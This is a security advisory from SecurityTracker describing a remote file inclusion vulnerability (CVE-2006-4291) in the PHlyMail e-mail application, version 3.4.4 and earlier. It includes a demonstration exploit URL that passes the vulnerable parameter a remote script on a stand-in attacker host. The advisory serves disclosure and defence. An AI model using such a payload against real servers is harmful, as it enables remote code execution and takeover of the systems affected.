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Category:   Application (E-mail Server)  >   PHlyMail Vendors:   phlylabs.de
PHlyMail Include File Bug in '_PM_['path']['handler']' Parameter Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1016718
SecurityTracker URL:  http://securitytracker.com/id/1016718
CVE Reference:   CVE-2006-4291   (Links to External Site)
Updated:  Jun 5 2008
Original Entry Date:  Aug 18 2006
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 3.4.4 and prior versions
Description:   A vulnerability was reported in PHlyMail. A remote user can include and execute arbitrary code on the target system.

The 'handlers/email/mod.listmail.php' script does not properly validate user-supplied input in the '_PM_['path']['handler']' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.

A demonstration exploit URL is provided:

http://[target]/[phlymail_path]/handlers/email/mod.listmail.php?_PM_[path][handler]=[http://www.myevilsite.com/evil_scripts.txt]

Kacper (a.k.a Rahim) discovered this vulnerability.

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
Solution:   No solution was available at the time of this entry.
Vendor URL:  phlymail.de/ (Links to External Site)
Cause:   Input validation error, State error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


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